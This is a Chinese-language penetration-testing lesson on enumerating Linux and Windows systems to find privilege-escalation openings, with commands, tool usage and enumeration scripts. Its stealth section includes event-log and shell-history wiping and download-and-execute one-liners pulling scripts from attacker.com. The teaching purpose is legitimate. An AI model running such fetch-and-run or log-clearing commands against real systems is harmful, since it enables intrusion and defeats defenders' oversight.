提权专题

7、提权信息收集

一、课程目标

本节课主要学习提权过程中所需的关键信息收集技术。信息收集是提权成功的基础,只有充分了解目标系统的配置和漏洞,才能选择合适的提权方法。通过本课的学习,你将能够:

  1. 理解提权信息收集的重要性和基本原则
  2. 掌握Linux和Windows系统的关键信息收集方法
  3. 学会使用自动化工具进行系统信息收集
  4. 了解如何分析收集到的信息以识别提权机会
  5. 熟悉信息收集的最佳实践和注意事项

二、名词解释表

名词解释
信息收集收集目标系统相关信息的过程
枚举系统性地列出系统中的资源和配置
漏洞扫描自动检测系统中已知漏洞的过程
权限审计检查系统权限配置是否合理的活动
系统指纹识别系统类型、版本等信息的特征
服务枚举列出系统中运行的服务及其配置
用户枚举列出系统中的用户账户及其权限

三、技术原理

3.1 信息收集的重要性

信息收集是渗透测试和提权过程中的关键步骤,它决定了后续攻击的成功率和效率。

3.1.1、收集目标

  1. 系统信息:操作系统版本、架构、补丁级别
  2. 用户信息:当前用户权限、可用账户、组成员关系
  3. 网络信息:网络配置、开放端口、路由表
  4. 服务信息:运行服务、服务配置、服务权限
  5. 文件系统信息:文件权限、可写目录、敏感文件
  6. 进程信息:运行进程、进程权限、父进程关系

3.1.2、收集原则

  1. 全面性:尽可能收集所有相关信息
  2. 准确性:确保收集信息的准确性和时效性
  3. 隐蔽性:尽量减少对系统的影响和日志记录
  4. 针对性:重点关注与提权相关的信息

3.2 信息收集分类

3.2.1、按系统类型分类

  • Linux信息收集:关注文件权限、SUID文件、sudo配置等
  • Windows信息收集:关注服务配置、注册表权限、令牌权限等

3.2.2、按收集方式分类

  • 主动收集:直接执行命令获取信息
  • 被动收集:通过分析系统行为获取信息
  • 工具收集:使用专用工具自动化收集

3.2.3、按信息敏感度分类

  • 公开信息:系统版本、网络配置等
  • 半公开信息:用户列表、服务列表等
  • 敏感信息:密码哈希、私钥文件等

四、Linux信息收集

4.1 系统基本信息

4.1.1、操作系统信息

# 查看系统版本
cat /etc/os-release
lsb_release -a
hostnamectl

# 查看内核版本
uname -a
cat /proc/version

# 查看系统架构
uname -m
getconf LONG_BIT

# 查看启动时间
uptime
who -b

4.1.2、硬件信息

# 查看CPU信息
lscpu
cat /proc/cpuinfo

# 查看内存信息
free -h
cat /proc/meminfo

# 查看磁盘信息
df -h
lsblk
fdisk -l

# 查看网络接口
ip addr show
ifconfig

4.2 用户和权限信息

4.2.1、用户信息收集

# 查看当前用户
whoami
id

# 查看所有用户
cat /etc/passwd
getent passwd

# 查看用户组
cat /etc/group
getent group

# 查看sudo权限
sudo -l
cat /etc/sudoers

# 查看最近登录用户
last
lastlog

4.2.2、权限信息收集

# 查看SUID/SGID文件
find / -perm -4000 2>/dev/null
find / -perm -2000 2>/dev/null

# 查看可写文件和目录
find / -writable -type f 2>/dev/null
find / -writable -type d 2>/dev/null

# 查看敏感文件权限
ls -l /etc/passwd /etc/shadow /etc/sudoers

# 查看家目录权限
ls -la ~

4.3 服务和进程信息

4.3.1、服务信息收集

# 查看运行服务
systemctl list-units --type=service --state=running
service --status-all

# 查看监听端口
netstat -tulnp
ss -tulnp

# 查看进程信息
ps aux
ps -ef
top -b -n 1

# 查看定时任务
crontab -l
ls -la /etc/cron*
cat /etc/crontab

4.3.2、网络信息收集

# 查看网络连接
netstat -an
ss -an

# 查看路由表
route -n
ip route show

# 查看DNS配置
cat /etc/resolv.conf
cat /etc/hosts

# 查看防火墙规则
iptables -L
ufw status

五、Windows信息收集

5.1 系统基本信息

5.1.1、操作系统信息

# 查看系统信息
systeminfo

# 查看系统版本
ver
wmic os get Caption,Version,BuildNumber,OSArchitecture

# 查看补丁信息
wmic qfe get Caption,Description,HotFixID,InstalledOn

# 查看启动时间
net stats workstation

5.1.2、硬件信息

# 查看CPU信息
wmic cpu get Name,NumberOfCores,NumberOfLogicalProcessors

# 查看内存信息
wmic memorychip get Capacity,Speed
systeminfo | findstr /C:"Total Physical Memory"

# 查看磁盘信息
wmic diskdrive get Model,Size
fsutil volume diskfree C:

# 查看网络接口
ipconfig /all

5.2 用户和权限信息

5.2.1、用户信息收集

# 查看当前用户
whoami
whoami /priv
whoami /groups

# 查看所有用户
net user
wmic useraccount get Name,Disabled,Lockout

# 查看管理员组成员
net localgroup administrators

# 查看用户登录历史
net user username

5.2.2、权限信息收集

# 查看共享资源
net share

# 查看本地组
net localgroup

# 查看服务权限
sc query state=all
sc qc servicename

# 查看文件权限
icacls "C:\Program Files"

5.3 服务和进程信息

5.3.1、服务信息收集

# 查看运行服务
sc query state=running
tasklist /svc

# 查看服务详细信息
sc qc servicename
wmic service where name="servicename" get name,startmode,state,pathname

# 查看启动项
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

# 查看计划任务
schtasks /query /fo LIST /v

5.3.2、进程信息收集

# 查看运行进程
tasklist /v
wmic process list brief

# 查看特定进程
wmic process where name="explorer.exe" get processid,parentprocessid,executablepath

# 查看进程权限
handle -p processname  # 需要Sysinternals工具

# 查看网络连接
netstat -an

六、自动化信息收集工具

6.1 Linux自动化工具

6.1.1、LinEnum

# 下载并运行LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -t -s -r report.txt

# LinEnum主要功能
# - 系统信息收集
# - 用户和权限检查
# - 文件系统枚举
# - 服务和进程检查
# - 网络配置检查

6.1.2、Linux Smart Enumeration (lse)

# 下载并运行lse
wget https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh
chmod +x lse.sh
./lse.sh -l2

# lse主要功能
# - 用户信息收集
# - 权限检查
# - 服务枚举
# - 文件系统检查
# - 网络信息收集

6.1.3、自定义信息收集脚本

#!/bin/bash
# linux_enumerator.sh - Linux系统信息收集脚本

echo "=== Linux系统信息收集报告 ==="
echo "收集时间: $(date)"
echo "主机名: $(hostname)"
echo ""

# 1. 系统信息
echo "1. 系统信息:"
echo "   发行版: $(cat /etc/os-release | grep PRETTY_NAME | cut -d'"' -f2)"
echo "   内核版本: $(uname -r)"
echo "   系统架构: $(uname -m)"
echo "   启动时间: $(who -b | awk '{print $3,$4}')"
echo ""

# 2. 用户信息
echo "2. 用户信息:"
echo "   当前用户: $(whoami) (UID: $(id -u))"
echo "   用户组: $(id -Gn)"
echo "   管理员用户:"
grep ":0:" /etc/passwd | cut -d: -f1
echo "   sudo权限:"
sudo -l 2>/dev/null | grep -v "may run" || echo "   无sudo权限"
echo ""

# 3. 权限检查
echo "3. 权限检查:"
echo "   SUID文件 (前10个):"
find / -perm -4000 -type f 2>/dev/null | head -10
echo "   可写系统文件:"
find /etc /home -writable -type f 2>/dev/null | head -10
echo ""

# 4. 服务信息
echo "4. 服务信息:"
echo "   运行服务数量: $(systemctl list-units --type=service --state=running | wc -l)"
echo "   监听端口:"
ss -tulnp 2>/dev/null | head -10
echo ""

# 5. 网络信息
echo "5. 网络信息:"
echo "   网络接口:"
ip addr show | grep "inet " | awk '{print "   "$2" "$NF}'
echo "   路由表:"
ip route show | head -5
echo ""

echo "=== 信息收集完成 ==="

6.2 Windows自动化工具

6.2.1、Windows Exploit Suggester

# 收集系统信息
systeminfo > systeminfo.txt

# 使用Windows Exploit Suggester分析
python windows-exploit-suggester.py --database 2023-01-01-mssb.xls --systeminfo systeminfo.txt

6.2.2、PowerUp

# 导入PowerUp模块
Import-Module .\PowerUp.ps1

# 运行所有检查
Invoke-AllChecks

# 特定检查
Get-ServiceUnquoted -Verbose
Get-ModifiableServiceFile -Verbose
Get-RegistryAlwaysInstallElevated -Verbose

6.2.3、自定义Windows信息收集脚本

# windows_enumerator.ps1 - Windows系统信息收集脚本

Write-Host "=== Windows系统信息收集报告 ===" -ForegroundColor Green
Write-Host "收集时间: $(Get-Date)" -ForegroundColor Yellow
Write-Host "主机名: $env:COMPUTERNAME" -ForegroundColor Yellow
Write-Host ""

# 1. 系统信息
Write-Host "1. 系统信息:" -ForegroundColor Cyan
$os = Get-WmiObject -Class Win32_OperatingSystem
Write-Host "   系统版本: $($os.Caption)"
Write-Host "   系统架构: $($os.OSArchitecture)"
Write-Host "   安装日期: $($os.InstallDate)"
Write-Host "   启动时间: $($os.LastBootUpTime)"
Write-Host ""

# 2. 用户信息
Write-Host "2. 用户信息:" -ForegroundColor Cyan
$currentuser = whoami
Write-Host "   当前用户: $currentuser"
Write-Host "   用户权限:"
whoami /priv | ForEach-Object { Write-Host "     $_" }
Write-Host "   管理员组成员:"
net localgroup administrators 2>$null | Where-Object { $_ -notmatch "命令成功完成" }
Write-Host ""

# 3. 服务信息
Write-Host "3. 服务信息:" -ForegroundColor Cyan
$runningServices = Get-WmiObject -Class Win32_Service | Where-Object { $_.State -eq "Running" }
Write-Host "   运行服务数量: $($runningServices.Count)"
Write-Host "   前10个运行服务:"
$runningServices | Select-Object Name,State -First 10 | Format-Table -AutoSize
Write-Host ""

# 4. 网络信息
Write-Host "4. 网络信息:" -ForegroundColor Cyan
Write-Host "   网络接口:"
Get-NetIPAddress | Where-Object { $_.AddressFamily -eq "IPv4" } | ForEach-Object {
    Write-Host "     $($_.IPAddress)/$($_.PrefixLength) - $($_.InterfaceAlias)"
}
Write-Host "   监听端口:"
netstat -an | Select-String "LISTENING" | Select-Object -First 10
Write-Host ""

# 5. 进程信息
Write-Host "5. 进程信息:" -ForegroundColor Cyan
Write-Host "   进程总数: $((Get-Process).Count)"
Write-Host "   前10个高内存使用进程:"
Get-Process | Sort-Object WS -Descending | Select-Object Name,Id,@{Name="Memory(MB)";Expression={[math]::Round($_.WS/1MB,2)}} -First 10 | Format-Table -AutoSize
Write-Host ""

Write-Host "=== 信息收集完成 ===" -ForegroundColor Green

七、信息分析和利用

7.1 漏洞识别

7.1.1、Linux漏洞识别

# 1. 内核漏洞识别
uname -r
# 根据内核版本查找对应CVE

# 2. 软件漏洞识别
dpkg -l | grep -E "(sudo|bash|nmap|vim)"  # Debian/Ubuntu
rpm -qa | grep -E "(sudo|bash|nmap|vim)"  # CentOS/RHEL

# 3. 配置漏洞识别
sudo -l  # 检查sudo配置
find / -perm -4000 2>/dev/null  # 检查SUID文件

7.1.2、Windows漏洞识别

# 1. 系统漏洞识别
systeminfo
# 使用漏洞扫描工具分析

# 2. 服务漏洞识别
sc query state=all
# 检查服务配置和权限

# 3. 补丁缺失识别
wmic qfe get Caption,Description,HotFixID,InstalledOn
# 对比微软安全公告

7.2 提权机会识别

7.2.1、基于权限的识别

# Linux提权机会
# 1. SUID文件利用
find / -perm -4000 2>/dev/null | while read file; do
    case $(basename "$file") in
        "nmap"|"vim"|"find"|"bash")
            echo "[可利用] $file"
            ;;
    esac
done

# 2. sudo权限利用
sudo -l | grep -E "(ALL|NOPASSWD)"

# 3. 可写系统文件
find /etc -writable -type f 2>/dev/null

7.2.2、基于服务的识别

# Windows提权机会
# 1. 未加引号的服务路径
wmic service get name,pathname | findstr " "

# 2. 可修改的服务二进制文件
icacls "C:\Program Files\*" 2>nul | findstr "Everyone\|BUILTIN\Users"

# 3. 计划任务漏洞
schtasks /query /fo LIST /v | findstr "TaskName\|Run Level\|Author"

八、隐蔽信息收集

8.1 减少日志记录

8.1.1、Linux隐蔽收集

# 1. 避免使用明显命令
# 使用别名或间接方式
alias ls='/bin/ls --color=never'
HISTSIZE=0  # 禁用命令历史

# 2. 清理痕迹
unset HISTFILE
history -c

# 3. 使用系统工具
# 利用系统自带工具减少可疑行为

8.1.2、Windows隐蔽收集

# 1. 避免使用PowerShell
# 使用cmd.exe或WMI查询

# 2. 清理事件日志
wevtutil cl System
wevtutil cl Security

# 3. 使用LOLBins(Living Off The Land Binaries)
# 使用系统自带工具如certutil、bitsadmin等

8.2 内存中执行

8.2.1、PowerShell内存执行

# 直接在内存中执行脚本,不落地
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')

# 使用反射加载.NET程序集
[System.Reflection.Assembly]::Load($bytes)

8.2.2、Python内存执行

# Python内存执行
import urllib2
exec(urllib2.urlopen('http://attacker.com/script.py').read())

九、信息收集最佳实践

9.1 收集策略

9.1.1、分层收集

# 第一层:基本信息收集
uname -a
whoami
id

# 第二层:详细配置收集
cat /etc/passwd
sudo -l
find / -perm -4000 2>/dev/null

# 第三层:深入分析收集
ps aux
netstat -tulnp
cat /proc/version

9.1.2、模块化收集

# 按模块分类收集
# 用户模块
collect_users() {
    whoami
    id
    cat /etc/passwd
    sudo -l
}

# 网络模块
collect_network() {
    ip addr show
    netstat -tulnp
    cat /etc/resolv.conf
}

# 服务模块
collect_services() {
    ps aux
    systemctl list-units --type=service
    crontab -l
}

9.2 数据整理和报告

9.2.1、结构化报告

# 创建结构化报告
create_report() {
    cat > report_$(date +%Y%m%d_%H%M%S).txt << EOF
=== 系统信息收集报告 ===
收集时间: $(date)
目标主机: $(hostname)

[系统信息]
$(uname -a)

[用户信息]
$(id)
$(sudo -l 2>/dev/null)

[网络信息]
$(ip addr show | grep "inet ")

[服务信息]
$(ps aux | head -10)

[权限信息]
$(find / -perm -4000 2>/dev/null | head -10)

EOF
}

9.2.2、自动化分析

# 自动分析潜在风险
analyze_risks() {
    echo "=== 风险分析 ==="
    
    # 检查SUID文件风险
    if find / -perm -4000 2>/dev/null | grep -q "nmap\|vim\|find"; then
        echo "[高风险] 发现可利用的SUID文件"
    fi
    
    # 检查sudo配置风险
    if sudo -l 2>/dev/null | grep -q "NOPASSWD\|ALL"; then
        echo "[高风险] 发现危险的sudo配置"
    fi
    
    # 检查可写系统文件
    if find /etc -writable -type f 2>/dev/null | grep -q "."; then
        echo "[中风险] 发现可写的系统文件"
    fi
}

十、实战案例

10.1 Linux信息收集实战

10.1.1、完整收集流程

# 1. 创建收集目录
mkdir -p /tmp/enumeration_$(date +%Y%m%d)
cd /tmp/enumeration_$(date +%Y%m%d)

# 2. 系统信息收集
echo "=== 系统信息 ===" > system_info.txt
uname -a >> system_info.txt
cat /etc/os-release >> system_info.txt
cat /proc/version >> system_info.txt

# 3. 用户信息收集
echo "=== 用户信息 ===" > user_info.txt
whoami >> user_info.txt
id >> user_info.txt
cat /etc/passwd >> user_info.txt
sudo -l 2>/dev/null >> user_info.txt

# 4. 权限信息收集
echo "=== 权限信息 ===" > permission_info.txt
find / -perm -4000 2>/dev/null >> permission_info.txt
find / -perm -2000 2>/dev/null >> permission_info.txt
find /etc /home -writable -type f 2>/dev/null >> permission_info.txt

# 5. 服务信息收集
echo "=== 服务信息 ===" > service_info.txt
ps aux >> service_info.txt
systemctl list-units --type=service --state=running >> service_info.txt
netstat -tulnp >> service_info.txt

# 6. 网络信息收集
echo "=== 网络信息 ===" > network_info.txt
ip addr show >> network_info.txt
route -n >> network_info.txt
cat /etc/resolv.conf >> network_info.txt

# 7. 生成综合报告
cat system_info.txt user_info.txt permission_info.txt service_info.txt network_info.txt > full_report.txt

10.2 Windows信息收集实战

10.2.1、PowerShell收集脚本

# Windows信息收集实战脚本
param(
    [string]$OutputPath = "C:\temp\enumeration_$(Get-Date -Format 'yyyyMMdd_HHmmss')"
)

# 创建输出目录
New-Item -ItemType Directory -Path $OutputPath -Force

# 1. 系统信息收集
$systemInfo = @{
    "ComputerName" = $env:COMPUTERNAME
    "UserName" = $env:USERNAME
    "OSVersion" = (Get-WmiObject -Class Win32_OperatingSystem).Caption
    "Architecture" = (Get-WmiObject -Class Win32_Processor).AddressWidth
    "InstallDate" = (Get-WmiObject -Class Win32_OperatingSystem).InstallDate
}

$systemInfo | Export-Clixml -Path "$OutputPath\system_info.xml"

# 2. 用户信息收集
$users = Get-WmiObject -Class Win32_UserAccount
$users | Export-Clixml -Path "$OutputPath\users.xml"

$admins = net localgroup administrators 2>$null | Where-Object { $_ -notmatch "命令成功完成" }
$admins | Out-File -FilePath "$OutputPath\admin_users.txt"

# 3. 服务信息收集
$services = Get-WmiObject -Class Win32_Service | Where-Object { $_.State -eq "Running" }
$services | Export-Clixml -Path "$OutputPath\running_services.xml"

# 4. 网络信息收集
$network = Get-NetIPAddress | Where-Object { $_.AddressFamily -eq "IPv4" }
$network | Export-Clixml -Path "$OutputPath\network_info.xml"

$ports = netstat -an | Select-String "LISTENING"
$ports | Out-File -FilePath "$OutputPath\listening_ports.txt"

# 5. 生成综合报告
$htmlReport = @"
<!DOCTYPE html>
<html>
<head>
    <title>Windows信息收集报告</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        h1, h2 { color: #333; }
        table { border-collapse: collapse; width: 100%; margin: 10px 0; }
        th, td { border: 1px solid #ddd; padding: 8px; text-align: left; }
        th { background-color: #f2f2f2; }
    </style>
</head>
<body>
    <h1>Windows信息收集报告</h1>
    <p>生成时间: $(Get-Date)</p>
    
    <h2>系统信息</h2>
    <table>
        <tr><th>项目</th><th>值</th></tr>
        <tr><td>计算机名</td><td>$($systemInfo.ComputerName)</td></tr>
        <tr><td>用户名</td><td>$($systemInfo.UserName)</td></tr>
        <tr><td>操作系统</td><td>$($systemInfo.OSVersion)</td></tr>
        <tr><td>架构</td><td>$($systemInfo.Architecture)位</td></tr>
    </table>
    
    <h2>管理员用户</h2>
    <pre>$($admins -join "`n")</pre>
    
    <h2>运行服务 (前10个)</h2>
    <table>
        <tr><th>服务名</th><th>显示名</th><th>状态</th></tr>
"@

$services | Select-Object Name,DisplayName,State -First 10 | ForEach-Object {
    $htmlReport += "<tr><td>$($_.Name)</td><td>$($_.DisplayName)</td><td>$($_.State)</td></tr>"
}

$htmlReport += @"
    </table>
</body>
</html>
"@

$htmlReport | Out-File -FilePath "$OutputPath\report.html" -Encoding UTF8

十一、故障排除

11.1 常见问题

11.1.1、权限不足

# Linux权限不足处理
# 1. 检查当前权限
id
whoami

# 2. 尝试sudo
sudo -l

# 3. 检查可用工具
which find
which ps

# Windows权限不足处理
# 1. 检查管理员权限
whoami /groups | findstr "High Mandatory Level"

# 2. 尝试提升权限
# 使用UAC绕过工具

11.1.2、命令执行失败

# 检查命令是否存在
which command_name
whereis command_name

# 检查命令权限
ls -l $(which command_name)

# 使用替代命令
# 例如:使用ls替代find查找文件
ls -la /usr/bin | grep "suid"

11.2 输出处理

11.2.1、大量输出处理

# 限制输出行数
find / -perm -4000 2>/dev/null | head -50

# 分页显示
find / -perm -4000 2>/dev/null | less

# 保存到文件
find / -perm -4000 2>/dev/null > suid_files.txt

# 过滤关键信息
find / -perm -4000 2>/dev/null | grep -E "(nmap|vim|find|bash)"

11.2.2、错误信息处理

# 重定向错误输出
find / -perm -4000 2>/dev/null > results.txt

# 过滤特定错误
find / -perm -4000 2>&1 | grep -v "Permission denied"

# 记录错误日志
find / -perm -4000 2> error.log > results.txt

十二、课后作业

  1. 基础练习

    • 在实验环境中练习Linux和Windows信息收集
    • 学习使用自动化工具进行信息收集
    • 练习分析收集到的信息识别提权机会
    • 掌握信息整理和报告生成方法
  2. 进阶练习

    • 编写自定义信息收集脚本
    • 实现隐蔽信息收集技术
    • 研究新的信息收集方法和工具
    • 练习跨平台信息收集技术
  3. 思考题

    • 信息收集在提权过程中的重要性体现在哪些方面?
    • 如何在保证收集完整性的同时提高隐蔽性?
    • 现代安全防护机制如何影响信息收集的效果?
  4. 扩展阅读

    • 研究APT组织的信息收集技术
    • 了解红队信息收集最佳实践
    • 学习自动化渗透测试框架